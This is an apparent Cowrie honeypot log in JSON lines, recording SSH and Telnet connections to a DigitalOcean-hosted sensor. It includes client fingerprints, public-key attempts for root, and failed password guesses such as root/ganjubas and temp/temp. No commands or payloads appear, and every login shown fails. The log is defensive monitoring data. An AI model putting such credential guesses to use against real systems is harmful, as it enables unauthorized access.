{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:d2:be:0b:cf:dd:6a:e2:f0:c5:00:58:9f:96:92:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKlq+TNudlY1eitL88H2L/CbXdq7RNloGTWtTaZDmBvR6lJTn4t+1Ta0dQvrzq0T+1AwWeSn92KhRnoYaRjeml8kuDb62Tt2P4M1dVz5yfIcYUIKTl13n/FAWsv6UjrKcEHxThn8teHKVK/9lTf5q0GiTHeORcYivZsro79KDvQauFX/guyEzZEGqM6U6ebJAFGBQ0ArKgt+a7uUkNX2KmK7NnNKSuPJuPU5EyLucoc/KEsdBaZuO5ZDEtJGKy8cAvptYx771p/dOskkHNtco3LPB9VDNp+oc1lyvUAU+v/P7GPx4DbAV7smG9EKnET379aDKzTxR57y9vzauA3t8B","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:50:18.035385Z","src_ip":"31.42.176.142","session":"91715d841eda","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:8e:5c:11:6a:3b:b9:99:8d:19:88:ae:a4:97:b7:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyb3F2SiYO7TODF8g4TR4cKM94aZUpl2jE47auvSQEqLFsM5w0D1U2OQipDe+pT6T2mB4+Dm+GlX845Iz3l8AC28EXD0GEietcpYQsQPkBWv3GIblqQm/Bjh+NUh2IE/eBLCZGu9mgdg1qfZkqLgiIHBW9YxIsgzgzrAwQmMCxwP2V0nocmXJs0x+5RQbA+WQsFENwnF7nppsXMSQxeWHff5yUY/Olt4pfRyBwsVIvMD82KjH4kF62aMQ3zjYNevStcXXKarGQR12ppBK/+7ZSHYZwCSfQ8e0cN7iv8satuSqYqlEG5GfoiZM6LA7H5e8OOgS2SwtXLZWY3/xgYF7Aw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bd:8e:5c:11:6a:3b:b9:99:8d:19:88:ae:a4:97:b7:e3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:50:18.117810Z","src_ip":"31.42.176.142","session":"91715d841eda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:8e:5c:11:6a:3b:b9:99:8d:19:88:ae:a4:97:b7:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyb3F2SiYO7TODF8g4TR4cKM94aZUpl2jE47auvSQEqLFsM5w0D1U2OQipDe+pT6T2mB4+Dm+GlX845Iz3l8AC28EXD0GEietcpYQsQPkBWv3GIblqQm/Bjh+NUh2IE/eBLCZGu9mgdg1qfZkqLgiIHBW9YxIsgzgzrAwQmMCxwP2V0nocmXJs0x+5RQbA+WQsFENwnF7nppsXMSQxeWHff5yUY/Olt4pfRyBwsVIvMD82KjH4kF62aMQ3zjYNevStcXXKarGQR12ppBK/+7ZSHYZwCSfQ8e0cN7iv8satuSqYqlEG5GfoiZM6LA7H5e8OOgS2SwtXLZWY3/xgYF7Aw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:50:18.122536Z","src_ip":"31.42.176.142","session":"91715d841eda","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:b2:96:be:aa:6e:1b:51:35:ba:40:19:23:bc:95:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZoJCcn2VJ4m1PfRMzArVaAvo/LbFssEK6dus0KZRKEHkuikbC/uMtlp3d/ZN9pdOHrLmP2/j5nO+mcIyK7B0ypHfHRlSVKubIHqNwrLv7Y+c3NIKNAKZIYIVJjS9yN3+XHjZRQOODtq6JVpxreB8QYIqN5BVqVzeB4dtE66MkZWOfFONvJfGRHeBBbazioCKDAa/5NqZ7aQaRLsWKqmtQC7zDPvQ4w4goGE2dDTIH0mklna6l+iQS3k+waInlxmP4SAhpUJx8vRH2RFojbaIGvebllAKY+Z/vSqD7ZPzWK7Eg/KkbK9nN/cAN4L7E3huYCEkpx9OmqtWf+YqEd7AX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d6:b2:96:be:aa:6e:1b:51:35:ba:40:19:23:bc:95:d4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:50:18.210116Z","src_ip":"31.42.176.142","session":"91715d841eda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:b2:96:be:aa:6e:1b:51:35:ba:40:19:23:bc:95:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZoJCcn2VJ4m1PfRMzArVaAvo/LbFssEK6dus0KZRKEHkuikbC/uMtlp3d/ZN9pdOHrLmP2/j5nO+mcIyK7B0ypHfHRlSVKubIHqNwrLv7Y+c3NIKNAKZIYIVJjS9yN3+XHjZRQOODtq6JVpxreB8QYIqN5BVqVzeB4dtE66MkZWOfFONvJfGRHeBBbazioCKDAa/5NqZ7aQaRLsWKqmtQC7zDPvQ4w4goGE2dDTIH0mklna6l+iQS3k+waInlxmP4SAhpUJx8vRH2RFojbaIGvebllAKY+Z/vSqD7ZPzWK7Eg/KkbK9nN/cAN4L7E3huYCEkpx9OmqtWf+YqEd7AX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:50:18.215811Z","src_ip":"31.42.176.142","session":"91715d841eda","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"73:4f:c4:ed:d6:d8:da:74:6b:b9:b0:e4:d8:3c:0a:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtEgMu4zRGbDWDncTD7vHQ+EEsDnI9l+sFRJTxBDjsvFSJvwb//YNlFcOkTIWyoH35oL+S0z+g38UZHwAroY9Dt2qVxXaIegX7hnh5T2GqmiIrKKp7hBYee30cacAwMElJIMeyhvLDDaRIs6ezrmqkWbNqtM6mwm663l92z7bAG2uRbrVKSwTQO7zWhzgj4wkO6j+mPau0Q+EE/+UGZsATXSAqy3sfm/A3ljSCnHWOcaREsGDt6Gvpeji6Bcs+/frDk6+bMLkb2Q4aD0aF8EY7CjAUWu6n46bSjADwXiBJfhEiIWHn6LIftqSihQ5wW+7Wnbi6HfStu3MiTA7c7391","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 73:4f:c4:ed:d6:d8:da:74:6b:b9:b0:e4:d8:3c:0a:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:50:18.299735Z","src_ip":"31.42.176.142","session":"91715d841eda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"73:4f:c4:ed:d6:d8:da:74:6b:b9:b0:e4:d8:3c:0a:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtEgMu4zRGbDWDncTD7vHQ+EEsDnI9l+sFRJTxBDjsvFSJvwb//YNlFcOkTIWyoH35oL+S0z+g38UZHwAroY9Dt2qVxXaIegX7hnh5T2GqmiIrKKp7hBYee30cacAwMElJIMeyhvLDDaRIs6ezrmqkWbNqtM6mwm663l92z7bAG2uRbrVKSwTQO7zWhzgj4wkO6j+mPau0Q+EE/+UGZsATXSAqy3sfm/A3ljSCnHWOcaREsGDt6Gvpeji6Bcs+/frDk6+bMLkb2Q4aD0aF8EY7CjAUWu6n46bSjADwXiBJfhEiIWHn6LIftqSihQ5wW+7Wnbi6HfStu3MiTA7c7391","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:50:18.306667Z","src_ip":"31.42.176.142","session":"91715d841eda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:50:18.409400Z","src_ip":"31.42.176.142","session":"91715d841eda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.8984489440918,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:50:28.453056Z","src_ip":"135.148.14.151","session":"df90fac5f33e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.35660266876221,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:50:28.722931Z","src_ip":"135.148.14.151","session":"33b6c8ecf9f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.65410137176514,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:50:42.010458Z","src_ip":"135.148.14.151","session":"9c0e38eacf23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.28692054748535,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:50:45.543187Z","src_ip":"135.148.14.151","session":"e800b4a7da15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.1012487411499,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:50:45.869156Z","src_ip":"135.148.14.151","session":"553cf6d3034b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.104414224624634,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:50:46.481847Z","src_ip":"135.148.14.151","session":"f2a0311c385f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":39392,"dst_ip":"159.203.135.109","dst_port":22,"session":"f165ca7a7ff1","protocol":"ssh","message":"New connection: 103.15.222.183:39392 (159.203.135.109:22) [session: f165ca7a7ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:51:29.865254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:51:29.870535Z","src_ip":"103.15.222.183","session":"f165ca7a7ff1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:51:30.118755Z","src_ip":"103.15.222.183","session":"f165ca7a7ff1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.78.143.196","src_port":50582,"dst_ip":"10.17.0.5","dst_port":22,"session":"c67f2d0c00a2","protocol":"ssh","message":"New connection: 128.78.143.196:50582 (10.17.0.5:22) [session: c67f2d0c00a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:51:30.514837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:51:30.520342Z","src_ip":"128.78.143.196","session":"c67f2d0c00a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ganjubas","message":"login attempt [root/ganjubas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:51:30.869635Z","src_ip":"103.15.222.183","session":"f165ca7a7ff1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:51:31.310298Z","src_ip":"128.78.143.196","session":"c67f2d0c00a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:51:32.120930Z","src_ip":"103.15.222.183","session":"f165ca7a7ff1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"temp","password":"temp","message":"login attempt [temp/temp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:51:37.443899Z","src_ip":"128.78.143.196","session":"c67f2d0c00a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.6","message":"Connection lost after 8.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:51:39.120364Z","src_ip":"128.78.143.196","session":"c67f2d0c00a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00235986709595,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:51:50.915857Z","src_ip":"81.84.21.115","session":"bc9c8c90f566","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.84.21.115","src_port":36742,"dst_ip":"10.17.0.5","dst_port":23,"session":"17ef805c2529","protocol":"telnet","message":"New connection: 81.84.21.115:36742 (10.17.0.5:23) [session: 17ef805c2529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:51:51.289478Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":33910,"dst_ip":"10.17.0.5","dst_port":22,"session":"dddb9286f3da","protocol":"ssh","message":"New connection: 87.251.79.125:33910 (10.17.0.5:22) [session: dddb9286f3da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:51:59.175789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:51:59.181347Z","src_ip":"87.251.79.125","session":"dddb9286f3da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:51:59.278699Z","src_ip":"87.251.79.125","session":"dddb9286f3da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abkbvjy","message":"login attempt [root/abkbvjy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:51:59.518645Z","src_ip":"87.251.79.125","session":"dddb9286f3da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:00.592929Z","src_ip":"87.251.79.125","session":"dddb9286f3da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.129.186.87","src_port":59456,"dst_ip":"10.17.0.5","dst_port":22,"session":"1abdfee1fbed","protocol":"ssh","message":"New connection: 102.129.186.87:59456 (10.17.0.5:22) [session: 1abdfee1fbed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:02.200627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:02.207552Z","src_ip":"102.129.186.87","session":"1abdfee1fbed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:02.336710Z","src_ip":"102.129.186.87","session":"1abdfee1fbed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5b:7c:31:86:09:9e:e3:9b:8e:e2:ea:4e:14:03:32:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDuMJVl8mNenuJBbuCNHuoKfrbPLVGXzcLDY61cGG6vzZeDOIWKaCgGLQ6d7Zdi+F+y++2DE86lrkfsa4BDVoJgY3jxVqJBdOhjbqae6cbG3W+d682r9P3aR5C7NPH39PmvtSieKo1uzpIxgi+nGb7q+kTIQz1ZE14cxCgtbUPncHfA5jRYij/kmqcpuROk1pVhabnrG8/UGedTH1jJD/r0dYh+ODvUEkE5zJJxmtL7nUIh+YihWWkM71MrcX1YGBtJApS/SXEwucWGX9sM8ewdvR8hiYc2htpoFq3QVvL5S2Qioi6OV77WfM5xIakkM2AMPBbWcaCQjmwEdgMH0BT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5b:7c:31:86:09:9e:e3:9b:8e:e2:ea:4e:14:03:32:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:02.946139Z","src_ip":"102.129.186.87","session":"1abdfee1fbed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5b:7c:31:86:09:9e:e3:9b:8e:e2:ea:4e:14:03:32:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDuMJVl8mNenuJBbuCNHuoKfrbPLVGXzcLDY61cGG6vzZeDOIWKaCgGLQ6d7Zdi+F+y++2DE86lrkfsa4BDVoJgY3jxVqJBdOhjbqae6cbG3W+d682r9P3aR5C7NPH39PmvtSieKo1uzpIxgi+nGb7q+kTIQz1ZE14cxCgtbUPncHfA5jRYij/kmqcpuROk1pVhabnrG8/UGedTH1jJD/r0dYh+ODvUEkE5zJJxmtL7nUIh+YihWWkM71MrcX1YGBtJApS/SXEwucWGX9sM8ewdvR8hiYc2htpoFq3QVvL5S2Qioi6OV77WfM5xIakkM2AMPBbWcaCQjmwEdgMH0BT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:02.950440Z","src_ip":"102.129.186.87","session":"1abdfee1fbed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:7c:49:6d:a5:5d:f0:77:b1:dd:ff:e5:79:ad:e3:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/HSZADH3I4cpZWevn+qEK5bIgmbRQkcEuRSpwSrm+nOOLLvylrfzzX5rgfLNU04rMxqZm7NPp9AnIYC8Ot+V2XY5CfZiijBEUsC5H3zGTIzhNjiOLiG0FKeKeteJ+52aDM4dPios+jOgLZR+KfIB7cEXxZF+Z1hQdTWrxiI+j6K2CM6B95Xod7/YsvUwyZtDImtrnc//LWeM+3XmHDKk1o5Jmd45kRPxHbK423bbXfvsRVL3LSoqoUg/HcLZPoEeoYdKfHCyhPZav0rWfn/WHMd9sTpYprTxXBab/dKMqe+HOjkLrxXm8w/qPrV+IPK89LwTO/24PPPUGp9IQBIIx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 05:7c:49:6d:a5:5d:f0:77:b1:dd:ff:e5:79:ad:e3:d8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:03.079661Z","src_ip":"102.129.186.87","session":"1abdfee1fbed","protocol":"ssh"}
